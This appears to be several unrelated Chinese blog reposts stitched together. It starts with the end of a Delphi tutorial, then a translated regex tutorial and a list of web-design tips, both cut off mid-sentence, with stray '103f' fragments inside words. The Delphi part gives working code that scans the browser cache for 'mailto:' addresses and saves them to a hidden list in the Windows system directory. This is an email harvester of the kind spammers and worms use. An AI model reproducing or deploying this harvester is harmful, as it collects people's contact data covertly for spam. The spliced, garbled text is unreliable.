//如果该文件是目录,并且不是”.”或者”..”,那么就在该目录里继续查找,也就是在这里递归了。
IsFound := FindNext(SR) = 0;
end;
FindClose(SR);
end;
ok,看到这里,我想聪明的你一定看到了我们的那个函数GetEmailAddress了,对了,我们就是不停的枚举
缓存中的所有文件,如果是htm文件,就把该文件的绝对路径做为参数传递给我们下面要写的函数GetEmailAddress来得到一个email地址列表。
那下面的这个函数GetEmailAddress就很容易编写了。
我只说一说简单的原理,就是打开一个htm文件,
一次读一行文本,然后看是否有”mailto:”,
如果有,就把紧接着的字符读出来,只到出现非法字符。
不过有一点这个方法只能读作为连接的email地址,
不过也足够了。
好,大家看程序:
procedure GetEmailAddress(FileName:string);
var
F:textfile;
S:string;//用来装每次读一行的字符串
Address:string;//得到的email地址
i,Position:integer;
begin
AssignFile(F,FileName);
Reset(f);
while not Eof(f) do
begin
Address:=”;
//首先清空address
Readln(f,s);
//读取一行字符串到s中
Position:=Pos(‘mailto:’,S);
//查找首个”mailto:”在s中的地址,如果一行中含有多个”mailto:”则需要你自己修改修改
if Position > 0 then
begin
for i:=Position+7 to length(S) do
//这里position+7里的7表示”mailto:”的长度
begin
if ((Upcase(s[i])<=#90) and (Upcase(s[i])>=#64)) or ((S[i]<=#57) and (S[i]>=#48)) or (S[i]=’.’) then
//判断是否有效字符
Address:=Address+S[i]
else
break;
end;
if (Address<>”) and (Pos(‘@’,Address)<>0) then
//如果是有效地址,就把它写到列表中去。
//但是,可能这个地址以前已经存在在这个列表中,
//所以我定义了一个函数WriteAddress来判断是否存在该地址
//如果不存在,就添加到地址列表中去。
WriteAddress(Address);
end;
end;
closefile(f);
end;
现在搜索email地址只剩下最后一道工序了,那就是上面的WriteAddress函数,
用来判断地址的有效性。这个很简单,
我也不打算用什么数据结构或者算法,只是用最简便的方法来实现。
程序代码如下:
procedure WriteAddress(Address:string);
var
F:textfile;
S,Str:string;
CanWrite:boolean;
Path:array[0..255] of char;
begin
GetSystemDirectory(path,256);
//首先取得系统目录,到时候把email地址列表文件保存到这里。
Str:=Strpas(Path);
CanWrite:=true;
AssignFile(F,Str+’maillist.lst’);
if FileExists(Str+’maillist.lst’)=false then
begin
//如果不存在maillist.lst,则信建一个文件maillist.lst来存放email地址。
Rewrite(F);
writeln(F,Address);
Closefile(F);
exit;
end else
begin
Reset(f);
while not Eof(F) do
begin
Readln(F,S);
if Address=S then
begin
CanWrite:=false;
break;
end;
end;
CloseFile(F);
end;
//上面用来和文件里以经存在的地址一个一个的进行效验,如果不存在就写到列表里去。
if CanWrite then
begin
Append(F);
Writeln(F,Address);
CloseFile(F);
end;
end;
当然,如同我们上面所说,我只是用最简便的方法来做,
如果你要讲究效率,当然可以进行一些改动,
比如说搜索到的地址来做一个堆,
最后把堆里所有的地址都写到列表里来就可以了。
好,现在你可以在你的主程序里简单的写几句代码来调用上面写的几个函数了,
如下:
var
HK:HKEY;
IeCache:array[0..255] of char;
IeCacheLen:integer;
S:string;
begin
IeCacheLen:=256;
//设置返回值的长度
RegOpenKey(HKEY_CURRENT_USER,’SoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders’,HK);
RegQueryValueEx(HK,’Cache’,nil,nil,@IeCache,@ieCacheLen);
//读取IE缓存的路径
S:=Strpas(IeCache)+”;
//在刚才取得的路径后面加一个”
FindFiles(S);
//调用我们自己写的函数
end;
调用完毕后,email地址就都保存在系统目录的maillist.lst文件中了。
深入浅出之正则表达式 /zz/
前言:
半年前我对正则表达式产生了兴趣,在网上查找过不少资料,看过不少的教程,最后在使用一个正则表达式工具RegexBuddy时发现他的教程写的非常好,可以说是我目前见过最好的正则表达式教程。于是一直想把他翻译过来。这个愿望直到这个五一长假才得以实现,结果就有了这篇文章。关于本文的名字,使用“深入浅出”似乎已经太俗。但是通读原文以后,觉得只有用“深入浅出”才能准确的表达出该教程给我的感受,所以也就不能免俗了。
本文是Jan Goyvaerts为RegexBuddy写的教程的译文,版权归原作者所有,欢迎转载。但是为了尊重原作者和译者的劳动,请注明出处!谢谢!
1.什么是正则表达式
基本说来,正则表达式是一种用来描述一定数量文本的模式。Regex代表Regular Express。本文将用<<regex>>来表示一段具体的正则表达式。
一段文本就是最基本的模式,简单的匹配相同的文本。
2.不同的正则表达式引擎
正则表达式引擎是一种可以处理正则表达式的软件。通常,引擎是更大的应用程序的一部分。在软件世界,不同的正则表达式并不互相兼容。本教程会集中讨论Perl 5 类型的引擎,因为这种引擎是应用最广泛的引擎。同时我们也会提到一些和其他引103f擎的区别。许多近代的引擎都很类似,但不完全一样。例如.NET正则库,JDK正则包。
3.文字符号
最基本的正则表达式由单个文字符号组成。如<<a>>,它将匹配字符串中第一次出现的字符“a”。如对字符串“Jack is a boy”。“J”后的“a”将被匹配。而第二个“a”将不会被匹配。
正则表达式也可以匹配第二个“a”,这必须是你告诉正则表达式引擎从第一次匹配的地方开始搜索。在文本编辑器中,你可以使用“查找下一个”。在编程语言中,会有一个函数可以使你从前一次匹配的位置开始继续向后搜索。
类似的,<<cat>>会匹配“About cats and dogs”中的“cat”。这等于是告诉正则表达式引擎,找到一个<<c>>,紧跟一个<<a>>,再跟一个<<t>>。
要注意,正则表达式引擎缺省是大小写敏感的。除非你告诉引擎忽略大小写,否则<<cat>>不会匹配“Cat”。
· 特殊字符
对于文字字符,有11个字符被保留作特殊用途。他们是:
[ ] ^ $ . | ? * + ( )
这些特殊字符也被称作元字符。
如果你想在正则表达式中将这些字符用作文本字符,你需要用反斜杠“”对其进行换码 (escape)。例如你想匹配“1+1=2”,正确的表达式为<<1+1=2>>.
需要注意的是,<<1+1=2>>也是有效的正则表达式。但它不会匹配“1+1=2”,而会匹配“123+111=234”中的“111=2”。因为“+”在这里表示特殊含义(重复1次到多次)。
在编程语言中,要注意,一些特殊的字符会先被编译器处理,然后再传递给正则引擎。因此正则表达式<<1+2=2>>在C++中要写成“1\+1=2”。为了匹配“C:temp”,你要用正则表达式<<C:\temp>>。而在C++中,正则表达式则变成了“C:\\temp”。
·不可显示字符
可以使用特殊字符序列来代表某些不可显示字符:
<<t>>代表Tab(0x09)
<<r>>代表回车符(0x0D)
<<n>>代表换行符(0x0A)
要注意的是Windows中文本文件使用“rn”来结束一行而Unix使用“n”。
4.正则表达式引擎的内部工作机制
知道正则表达式引擎是如何工作的有助于你很快理解为何某个正则表达式不像你期望的那样工作。
有两种类型的引擎:文本导向(text-directed)的引擎和正则导向(regex-directed)的引擎。Jeffrey Friedl把他们称作DFA和NFA引擎。本文谈到的是正则导向的引擎。这是因为一些非常有用的特性,如“惰性”量词(lazy quantifiers)和反向引用(backreferences),只能在正则导向的引擎中实现。所以毫不意外这种引擎是目前最流行的引擎。
你可以轻易分辨出所使用的引擎是文本导向还是正则导向。如果反向引用或“惰性”量词被实现,则可以肯定你使用的引擎是正则导向的。你可以作如下测试:将正则表达式<<regex|regex not>>应用到字符串“regex not”。如果匹配的结果是regex,则引擎是正则导向的。如果结果是regex not,则是文本导向的。因为正则导向的引擎是“猴急”的,它会很急切的进行表功,报告它找到的第一个匹配 。
·正则导向的引擎总是返回最左边的匹配
这是需要你理解的很重要的一点:即使以后有可能发现一个“更好”的匹配,正则导向的引擎也总是返回最左边的匹配。
当把<<cat>>应用到“He captured a catfish for his cat”,引擎先比较<<c>>和“H”,结果失败了。于是引擎103f再比较<<c>>和“e”,也失败了。直到第四个字符,<<c>>匹配了“c”。<<a>>匹配了第五个字符。到第六个字符<<t>>没能匹配“p”,也失败了。引擎再继续从第五个字符重新检查匹配性。直到第十五个字符开始,<<cat>>匹配上了“catfish”中的“cat”,正则表达式引擎急切的返回第一个匹配的结果,而不会再继续查找是否有其他更好的匹配。
5.字符集
字符集是由一对方括号“[]”括起来的字符集合。使用字符集,你可以告诉正则表达式引擎仅仅匹配多个字符中的一个。如果你想匹配一个“a”或一个“e”,使用<<[ae]>>。你可以使用<<gr[ae]y>>匹配gray或grey。这在你不确定你要搜索的字符是采用美国英语还是英国英语时特别有用。相反,<<gr[ae]y>>将不会匹配graay或graey。字符集中的字符顺序并没有什么关系,结果都是相同的。
你可以使用连字符“-”定义一个字符范围作为字符集。<<[0-9]>>匹配0到9之间的单个数字。你可以使用不止一个范围。<<[0-9a-fA-F] >>匹配单个的十六进制数字,并且大小写不敏感。你也可以结合范围定义与单个字符定义。<<[0-9a-fxA-FX]>>匹配一个十六进制数字或字母X。再次强调一下,字符和范围定义的先后顺序对结果没有影响。
·字符集的一些应用
查找一个可能有拼写错误的单词,比如<<sep[ae]r[ae]te>> 或 <<li[cs]en[cs]e>>。
查找程序语言的标识符,<<A-Za-z_][A-Za-z_0-9]*>>。(*表示重复0或多次)
查找C风格的十六进制数<<0[xX][A-Fa-f0-9]+>>。(+表示重复一次或多次)
·取反字符集
在左方括号“[”后面紧跟一个尖括号“^”,将会对字符集取反。结果是字符集将匹配任何不在方括号中的字符。不像“.”,取反字符集是可以匹配回车换行符的。
需要记住的很重要的一点是,取反字符集必须要匹配一个字符。<<q[^u]>>并不意味着:匹配一个q,后面没有u跟着。它意味着:匹配一个q,后面跟着一个不是u的字符。所以它不会匹配“Iraq”中的q,而会匹配“Iraq is a country”中的q和一个空格符。事实上,空格符是匹配中的一部分,因为它是一个“不是u的字符”。
如果你只想匹配一个q,条件是q后面有一个不是u的字符,我们可以用后面将讲到的向前查看来解决。
·字符集中的元字符
需要注意的是,在字符集中只有4个 字符具有特殊含义。它们是:“] ^ -”。“]”代表字符集定义的结束;“”代表转义;“^”代表取反;“-”代表范围定义。其他常见的元字符在字符集定义内部都是正常字符,不需要转义。例如,要搜索星号*或加号+,你可以用<<[+*]>>。当然,如果你对那些通常的元字符进行转义,你的正则表达式一样会工作得很好,但是这会降低可读性。
在字符集定义中为了将反斜杠“”作为一个文字字符而非特殊含义的字符,你需要用另一个反斜杠对它进行转义。<<[\x]>>将会匹配一个反斜杠和一个X。“]^-”都可以用反斜杠进行转义,或者将他们放在一个不可能使用到他们特殊含义的位置。我们推荐后者,因为这样可以增加可读性。比如对于字符“^”,将它放在除了左括号“[”后面的位置,使用的都是文字字符含义而非取反含义。如<<[x^]>>会匹配一个x或^。<<[]x]>>会匹配一个“]”或“x”。<<[-x]>>或<<[x-]&g103ft;>都会匹配一个“-”或“x”。
·字符集的简写
因为一些字符集非常常用,所以有一些简写方式。
<<d>>代表<<[0-9]>>;
<<w>>代表单词字符。这个是随正则表达式实现的不同而有些差异。绝大多数的正则表达式实现的单词字符集都包含了<<A-Za-z0-9_]>>。
<<s>>代表“白字符”。这个也是和不同的实现有关的。在绝大多数的实现中,都包含了空格符和Tab符,以及回车换行符<<rn>>。
字符集的缩写形式可以用在方括号之内或之外。<<sd>>匹配一个白字符后面紧跟一个数字。<<[sd]>>匹配单个白字符或数字。<<[da-fA-F]>>将匹配一个十六进制数字。
取反字符集的简写
<<[S]>> = <<[^s]>>
<<[W]>> = <<[^w]>>
<<[D]>> = <<[^d]>>
·字符集的重复
如果你用“?*+”操作符来重复一个字符集,你将会重复整个字符集。而不仅是它匹配的那个字符。正则表达式<<[0-9]+>>会匹配837以及222。
如果你仅仅想重复被匹配的那个字符,可以用向后引用达到目的。我们以后将讲到向后引用。
6.使用?*或+ 进行重复
?:告诉引擎匹配前导字符0次或一次。事实上是表示前导字符是可选的。
+:告诉引擎匹配前导字符1次或多次
*:告诉引擎匹配前导字符0次或多次
<[A-Za-z][A-Za-z0-9]*>匹配没有属性的HTML标签,“<”以及“>”是文字符号。第一个字符集匹配一个字母,第二个字符集匹配一个字母或数字。
我们似乎也可以用<[A-Za-z0-9]+>。但是它会匹配<1>。但是这个正则表达式在你知道你要搜索的字符串不包含类似的无效标签时还是足够有效的。
·限制性重复
许多现代的正则表达式实现,都允许你定义对一个字符重复多少次。词法是:{min,max}。min和max都是非负整数。如果逗号有而max被忽略了,则max没有限制。如果逗号和max都被忽略了,则重复min次。
因此{0,}和*一样,{1,}和+ 的作用一样。
你可以用<<b[1-9][0-9]{3}b>>匹配1000~9999之间的数字(“b”表示单词边界)。<<b[1-9][0-9]{2,4}b>>匹配一个在100~99999之间的数字。
·注意贪婪性
假设你想用一个正则表达式匹配一个HTML标签。你知道输入将会是一个有效的HTML文件,因此正则表达式不需要排除那些无效的标签。所以如果是在两个尖括号之间的内容,就应该是一个HTML标签。
许多正则表达式的新手会首先想到用正则表达式<< <.+> >>,他们会很惊讶的发现,对于测试字符串,“This is a <EM>first</EM> test”,你可能期望会返回<EM>,然后继续进行匹配的时候,返回</EM>。
但事实是不会。正则表达式将会匹配“<EM>first</EM>”。很显然这不是我们想要的结果。原因在于“+”是贪婪的。也就是说,“+”会导致正则表达式引擎试图尽可能的重复前导字符。只有当这种重复会引起整个正则表达式匹配失败的情况下,引擎会进行回溯。也就是说,它会放弃最后一次的“重复”,然后处理正则表达式余下的部分。
和“+”类似,“?*”的重复也是贪婪的。
·深入正则表达式引擎内部
让我们来看看正则引擎如何匹配前面的例子。第一个记号是“<”,这是一个文字符号。第二个符号是“.”,匹配了字符“E”,然后“+”一直可以匹配其余的字符,直到一行的结束。然后到了换行符
网页美工经验谈/zz/
以下是我做美工的两年生活中一条条总结出来的经验,每一点都是我常用的,虽然不是什么大学问,但我觉得要互相学习才能提高,所以现在拿出来和大家一起分享,如果你觉得实用就拿去试试,然后留个评论,我就很高兴了,不喜欢的可以路过。费话少说,下面正式开始。
1.加载大图片时,显示loading小图片。
这招是我最常用的。当我们要加载一张比较大的图片时,如果能加载图片的同时,显示loading的小图片,那样看起来就人性化很多。当加载完成时, 图片会盖住loading小图片,这是一个很有用的小技巧,我的每个网站都加上了这个功能,不信你可以到这个页面 看,http://www.82xuexi.cn/html/2008-09/245.htm这个页面是我专门做来演示这个示例的,上面我放了一张很大的 图片,应该可以看清加载过程。要实现这个小功能,只要在网站的公共样式表上添加下面这个样式 ,就可以实现了。
img {
background-image:url(loading.gif);
background-position:center;
background-repeat:no-repeat;
}
解释一下上面的代码,懂CSS的站长可以略去这段。第一行“img”指向页面的全体图片元素(看到样式表的优势了吧,只要一句,就能作用于网站的全 体同类元素,不是DIV+CSS的网站站长是不是有想法了?呵呵)。第二行“background-image:url(loadin103fg.gif);”是 指为图片添加一个以图片为背景的背景(读起来有点拗口)。这个loading.gif是你要你自己上传的加载小图片。不过有些网站的images文件夹里 已经有这个图片了,直接用就行,如果你确实不想到处找的话,我这里有一堆,选一个你喜欢的玩玩吧:http://www.82xuexi.cn/html /2008-09/333.htm。第三行:background-position:center;把背景图片居中,这样看起来比较顺眼。第四 行:background-repeat:no-repeat;就是让loading.gif小图片只显示一个,如果没有这句,就用出现很多排列起来的 loading.gif小图片,这要注意一下。
2.选填表单右边显示“可不填”。
这是我最初在QQ网站的留言本上看到的,当时看到个人信息的一些表单旁边写着“可不埴”的时候,真的是感觉非常舒服,你想想,人家好不容易有空给你 留言,你还想人家慢慢看你的留言说明吗?给你留言,当然想简要完事啦。你却动不动跳出个“表单内容不能有空”这不把人家吓跑才怪。这个小技巧可以应用于各 大论坛的用户注册,留言本等地方,不要只在必填框旁边加个红*就算了,这样对于熟悉网站的人来说当然没问题,但你要考虑到各种各样的网民。“可不填”三个 字,就能大大提高用户体验,为什么不试试呢。
3.保证每个页面都有回首页的连接。
为什么要主这个呢?因为我看到很多网站都没注意到这个小细节,有一次我在一个论坛上登陆,成功后,他跳转到另一个页面提示登陆成功,等了十几秒它都 不自动返回,但我又已经顺手把多的页面关掉了,所以,只剩下一个页面了,我又不能返回,他又没有返回首页的链接,一气之下,我就关掉浏览器走人了。所以, 建议站长朋友们有空多检查一下自己的网站,看是不是有些页面是孤独的。
4.在执行AJAX操作时,如果响应时间过长,应提示用户加载超时。
这个在AJAX中,可以使你的程序更人性化的小技巧,不多说了,你看下面的代码就明白。如果你看不明白的话,就不要乱改网站,会出错的。这是一个用户验证的程序片段,注意红色部分。
var timeLast;
//发送信息
function submitSelectItem()
{
var postStr=“uid=”+document.getElementById(“userName”).value+“&pwd=”+hex_md5
(document.getElementById(“passWord”).value);
timeLast=window.setTimeout(“show_timeout()”,15000 );//超过15000毫秒后显示超时
show_waitting();
createXMLHTTP();//创建XMLHttpRequest对象
var url=“ajax/chcekUser.aspx?time=”+TimeDemo();
xmlHttp.open(“POST”,url,true);
xmlHttp.setRequestHeader(“post_content-Type”,“application/x-www-form-urlencoded:charset=UTF-8”);
xmlHttp.onreadystatechange=getResponseRusult;
xmlHttp.send(postStr);
}
//回调函数
function getResponseRusult()
{
if(xmlHttp.readyState==4)//判断对象状态
{
if(xmlHttp.status==200)//信息成功返回,开始处理信息
{
clearTimeout(window.timeLast);
var reint=xmlHttp.responseText;
switch (reint) {
case “1”:
show_success();break ;
case “2” :
show_tryCountOut();break ;
default :
show_error();break ;
}
}
}
}
5.可能的不良后果提前提醒用户。
如果你的页面很大,特别是要用到很多表格时,加载时间可能会很长,这时候要提前告诉用户。“页面可能加载时间比较长,请耐心等待。..。”之类的。
6.拿到美工做给你的页面,一定要测